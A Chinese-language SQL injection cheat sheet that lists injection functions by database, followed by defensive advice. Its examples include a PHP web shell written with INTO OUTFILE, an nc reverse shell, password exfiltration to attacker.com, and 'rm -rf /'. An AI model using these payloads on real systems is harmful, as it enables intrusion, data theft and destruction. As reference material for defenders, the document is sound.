SQL注入漏洞中會使用到的函數

目錄

一、信息獲取函數

1. 通用函數

2. 元數據查詢(INFORMATION_SCHEMA)

二、字符串操作函數

1. 字符串連接

2. 字符串截取

3. 編碼/解碼

三、報錯注入專用函數

1. MySQL

2. SQL Server

3. PostgreSQL

四、時間盲注函數

1. 通用延遲

2. 計算密集型延遲

五、文件操作函數

1. 文件讀取

2. 文件寫入

六、系統命令執行函數

1. SQL Server

2. PostgreSQL

3. MySQL(需特殊條件)

七、帶外通信(OOB)函數

1. DNS外傳數據

2. HTTP請求

八、高級聚合函數

1. 數據聚合

九、JSON/XML操作函數

1. MySQL

2. SQL Server

十、防御規避函數

1. 編碼混淆

2. 動態執行

總結與防御建議


以下是SQL注入攻擊中常用的數據庫函數分類整理,覆蓋主流數據庫及其高危操作場景:


一、信息獲取函數

1. 通用函數
  • DATABASE() 作用:獲取當前數據庫名稱。 示例UNION SELECT DATABASE()

  • USER() / CURRENT_USER() 作用:獲取當前數據庫用戶。

  • VERSION() / @@VERSION 作用:獲取數據庫版本信息。

2. 元數據查詢(INFORMATION_SCHEMA
  • TABLES MySQLSELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() SQL ServerSELECT name FROM sysobjects WHERE xtype='U'

  • COLUMNS OracleSELECT column_name FROM all_tab_columns WHERE table_name='USERS'


二、字符串操作函數

1. 字符串連接
  • CONCAT(str1, str2) 示例CONCAT('user=', USER())

  • ||(Oracle/PostgreSQL) 示例' UNION SELECT 'user: ' || USER() --

2. 字符串截取
  • SUBSTRING(str, start, length) 示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)

  • SUBSTR()(Oracle/PostgreSQL)

  • LEFT(str, length) / RIGHT(str, length)

3. 編碼/解碼
  • HEX() / UNHEX() 用途:繞過WAF過濾,如SELECT HEX('admin')61646D696E

  • CHAR(ASCII_CODE) 示例CHAR(97)a


三、報錯注入專用函數

1. MySQL
  • UPDATEXML() 語法UPDATEXML(XML_doc, XPath, new_value) 示例AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)

  • EXTRACTVALUE() 語法EXTRACTVALUE(XML_doc, XPath) 示例AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))

2. SQL Server
  • CONVERT() 觸發類型轉換錯誤CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))

  • ERROR_MESSAGE() 配合TRY-CATCHBEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH

3. PostgreSQL
  • CAST() 示例CAST((SELECT CURRENT_USER) AS INTEGER)


四、時間盲注函數

1. 通用延遲
  • SLEEP(seconds)(MySQL) 示例IF(1=1, SLEEP(5), 0)

  • PG_SLEEP(seconds)(PostgreSQL)

  • WAITFOR DELAY '0:0:5'(SQL Server)

2. 計算密集型延遲
  • BENCHMARK(count, expr)(MySQL) 示例BENCHMARK(1000000, MD5('test'))


五、文件操作函數

1. 文件讀取
  • LOAD_FILE()(MySQL) 權限需求FILE權限,且secure_file_priv未限制路徑 示例UNION SELECT LOAD_FILE('/etc/passwd')

  • pg_read_file()(PostgreSQL) 示例SELECT pg_read_file('/etc/passwd')

2. 文件寫入
  • INTO OUTFILE / INTO DUMPFILE(MySQL) 示例SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'

  • COPY(PostgreSQL) 示例COPY (SELECT 'malicious code') TO '/var/www/shell.php'


六、系統命令執行函數

1. SQL Server
  • xp_cmdshell 示例EXEC xp_cmdshell 'whoami' 防御:需禁用xp_cmdshell組件。

2. PostgreSQL
  • COPY FROM PROGRAM 示例COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'

3. MySQL(需特殊條件)
  • sys_exec()(UDF提權后) 示例SELECT sys_exec('rm -rf /')


七、帶外通信(OOB)函數

1. DNS外傳數據
  • LOAD_FILE()(MySQL) 示例LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))

  • UTL_HTTP.REQUEST()(Oracle) 示例SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL

2. HTTP請求
  • HTTPURITYPE(Oracle) 示例SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL


八、高級聚合函數

1. 數據聚合
  • GROUP_CONCAT()(MySQL) 示例GROUP_CONCAT(table_name SEPARATOR ',') 用于一次性獲取所有表名。

  • STRING_AGG()(SQL Server/PostgreSQL) 用途:合并多行結果為單個字符串。


九、JSON/XML操作函數

1. MySQL
  • JSON_EXTRACT() 繞過技巧SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))

2. SQL Server
  • OPENJSON() 示例SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))


十、防御規避函數

1. 編碼混淆
  • TO_BASE64() / FROM_BASE64()(MySQL 5.6+) 示例SELECT FROM_BASE64('YWRtaW4=')admin

  • ASCII() / ORD() 用途:盲注中逐字符轉換ASCII值。

2. 動態執行
  • EXEC()(SQL Server) 示例EXEC('SELECT * FROM users')

  • PREPARE / EXECUTE(MySQL) 示例SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;


總結與防御建議

  1. 禁用高危函數:如xp_cmdshellFILE權限等。

  2. 輸入過濾:嚴格校驗參數類型,過濾UNIONSLEEP等關鍵詞。

  3. 最小權限原則:數據庫賬戶僅授予必要權限。

  4. 監控異常查詢:如頻繁出現INFORMATION_SCHEMA訪問或LOAD_FILE()調用。

示例攻擊鏈

' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') 
-- 

掌握這些函數的作用機制,可更精準地設計防御策略與檢測規則。


本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/77880.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/77880.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/77880.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

車載信息安全架構 --- 汽車網絡安全

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 周末洗了一個澡,換了一身衣服,出了門卻不知道去哪兒,不知道去找誰,漫無目的走著,大概這就是成年人最深的孤獨吧! 舊人不知我近況,新人不知我過…

Linux423 刪除用戶

查找 上面已查過&#xff1a;無法使用sudo 新開個終端試試 之前開了一個終端&#xff0c;按照deepseek排查 計劃再開一個進程 開一個終端 后強制刪除時顯示&#xff1a;此事將被報告

《從卷積核到數字解碼:CNN 手寫數字識別實戰解析》

文章目錄 一、手寫數字識別的本質與挑戰二、使用步驟1.導入torch庫以及與視覺相關的torchvision庫2.下載datasets自帶的手寫數字的數據集到本地 三、完整代碼展示 一、手寫數字識別的本質與挑戰 手寫數字識別的核心是&#xff1a;從二維像素矩陣中提取具有判別性的特征&#x…

UniOcc:自動駕駛占用預測和預報的統一基準

25年3月來自 UC Riverside、U Wisconsin 和 TAMU 的論文"UniOcc: A Unified Benchmark for Occupancy Forecasting and Prediction in Autonomous Driving"。 UniOcc 是一個全面統一的占用預測基準&#xff08;即基于歷史信息預測未來占用&#xff09;和基于攝像頭圖…

模型量化核心技術解析:從算法原理到工業級實踐

一、模型量化為何成為大模型落地剛需&#xff1f; 算力困境&#xff1a;175B參數模型FP32推理需0.5TB內存&#xff0c;超出主流顯卡容量 速度瓶頸&#xff1a;FP16推理延遲難以滿足實時對話需求&#xff08;如客服場景<200ms&#xff09; 能效挑戰&#xff1a;邊緣設備運行…

AD9253鏈路訓練

傳統方式 參考Xilinx官方文檔xapp524。對于AD9253器件 - 125M采樣率 - DDR模式&#xff0c;ADC器件的DCO采樣時鐘(500M Hz)和FCO幀時鐘是中心對齊的&#xff0c;適合直接采樣。但是DCO時鐘不能直接被FPGA內部邏輯使用&#xff0c;需要經過BUFIO和BUFR緩沖后&#xff0c;得到s_b…

解決方案:遠程shell連不上Ubuntu服務器

服務器是可以通過VNC登錄&#xff0c;排除了是服務器本身故障 檢查服務是否在全網卡監聽 sudo ss -tlnp | grep sshd確保有一行類似 LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid...,fd3))返回無結果&#xff0c;表明系統里并沒有任…

關于大數據的基礎知識(四)——大數據的意義與趨勢

成長路上不孤單&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a;&#x1f60a; 【14后&#x1f60a;///計算機愛好者&#x1f60a;///持續分享所學&#x1f60a;///如有需要歡迎收藏轉發///&#x1f60a;】 今日分享關于大數據的基礎知識&#xff08;四&a…

智能指針(weak_ptr )之三

1. std::weak_ptr 1.1 定義與用法 std::weak_ptr 是一種不擁有對象所有權的智能指針&#xff0c;用于觀察但不影響對象的生命周期。主要用于解決 shared_ptr 之間的循環引用問題。 主要特性&#xff1a; 非擁有所有權&#xff1a;不增加引用計數。可從 shared_ptr 生成&…

學習海康VisionMaster之卡尺工具

一&#xff1a;進一步學習了 今天學習下VisionMaster中的卡尺工具&#xff1a;主要用于測量物體的寬度、邊緣的特征的位置以及圖像中邊緣對的位置和間距 二&#xff1a;開始學習 1&#xff1a;什么是卡尺工具&#xff1f; 如果我需要檢測芯片的每一個PIN的寬度和坐標&#xff…

Java面試實戰:從Spring Boot到微服務的深入探討

Java面試實戰&#xff1a;從Spring Boot到微服務的深入探討 場景&#xff1a;電商場景的面試之旅 在某互聯網大廠的面試間&#xff0c;面試官李老師正襟危坐&#xff0c;而對面坐著的是傳說中的“水貨程序員”趙大寶。 第一輪&#xff1a;核心Java與構建工具 面試官&#x…

深入理解 Spring @Configuration 注解

在 Spring 框架中,@Configuration 注解是一個非常重要的工具,它用于定義配置類,這些類可以包含 Bean 定義方法。通過使用 @Configuration 和 @Bean 注解,開發者能夠以編程方式創建和管理應用程序上下文中的 Bean。本文將詳細介紹 @Configuration 注解的作用、如何使用它以及…

密碼學中的鹽值是什么?

目錄 1. 鹽值的基本概念 2. 鹽值的作用 (1) 防止彩虹表攻擊 (2) 防止相同的密碼生成相同的哈希值 (3) 增加暴力破解的難度 3. 如何使用鹽值&#xff1f; (1) 生成鹽值 (2) 將鹽值附加到密碼 (3) 存儲鹽值和哈希值 (4) 驗證密碼 4. 鹽值如何增加暴力破解的難度 在線暴…

基于瑞芯微RK3576國產ARM八核2.2GHz A72 工業評估板——Docker容器部署方法說明

前 言 本文適用開發環境: Windows開發環境:Windows 7 64bit、Windows 10 64bit Linux開發環境:VMware16.2.5、Ubuntu22.04.5 64bit U-Boot:U-Boot-2017.09 Kernel:Linux-6.1.115 LinuxSDK:LinuxSDK-[版本號](基于rk3576_linux6.1_release_v1.1.0) Docker是一個開…

大數據技術全解析

目錄 前言1. Kafka&#xff1a;流數據的傳輸平臺1.1 Kafka概述1.2 Kafka的應用場景1.3 Kafka的特點 2. HBase&#xff1a;分布式列式數據庫2.1 HBase概述2.2 HBase的應用場景2.3 HBase的特點 3. Hadoop&#xff1a;大數據處理的基石3.1 Hadoop概述3.2 Hadoop的應用場景3.3 Hado…

mcpo的簡單使用

1.安裝依賴 conda create -n mcpo python3.11 conda activate mcpo pip install mcpo pip install uv2.隨便從https://github.com/modelcontextprotocol/servers?tabreadme-ov-file 找一個mcp服務使用就行&#xff0c;我這里選的是爬蟲 然后安裝 pip install mcp-server-f…

uniapp-商城-32-shop 我的訂單-訂單詳情和組件goods-list

上面完成了我的訂單&#xff0c;通過點擊我的訂單中每一條數據&#xff0c;可以跳轉到訂單詳情中。 這里就需要展示訂單的狀態&#xff0c;支付狀態&#xff0c;物流狀態&#xff0c;取貨狀態&#xff0c;用戶信息&#xff0c;訂單中的貨物詳情等。 1、創建一個訂單詳情文件 …

XCVU13P-2FHGA2104I Xilinx Virtex UltraScale+ FPGA

XCVU13P-2FHGA2104I 是 Xilinx&#xff08;現為 AMD&#xff09;Virtex UltraScale? FPGA 系列中的高端 Premium 器件&#xff0c;基于 16nm FinFET 工藝并采用 3D IC 堆疊硅互連&#xff08;SSI&#xff09;技術&#xff0c;提供業內頂級的計算密度和帶寬?。該芯片集成約 3,…

【Python3】Django 學習之路

第一章&#xff1a;Django 簡介 1.1 什么是 Django&#xff1f; Django 是一個高級的 Python Web 框架&#xff0c;旨在讓 Web 開發變得更加快速和簡便。它鼓勵遵循“不要重復自己”&#xff08;DRY&#xff0c;Don’t Repeat Yourself&#xff09;的原則&#xff0c;并提供了…

Python 設計模式:模板模式

1. 什么是模板模式&#xff1f; 模板模式是一種行為設計模式&#xff0c;它定義了一個操作的算法的骨架&#xff0c;而將一些步驟延遲到子類中。模板模式允許子類在不改變算法結構的情況下&#xff0c;重新定義算法的某些特定步驟。 模板模式的核心思想是將算法的固定部分提取…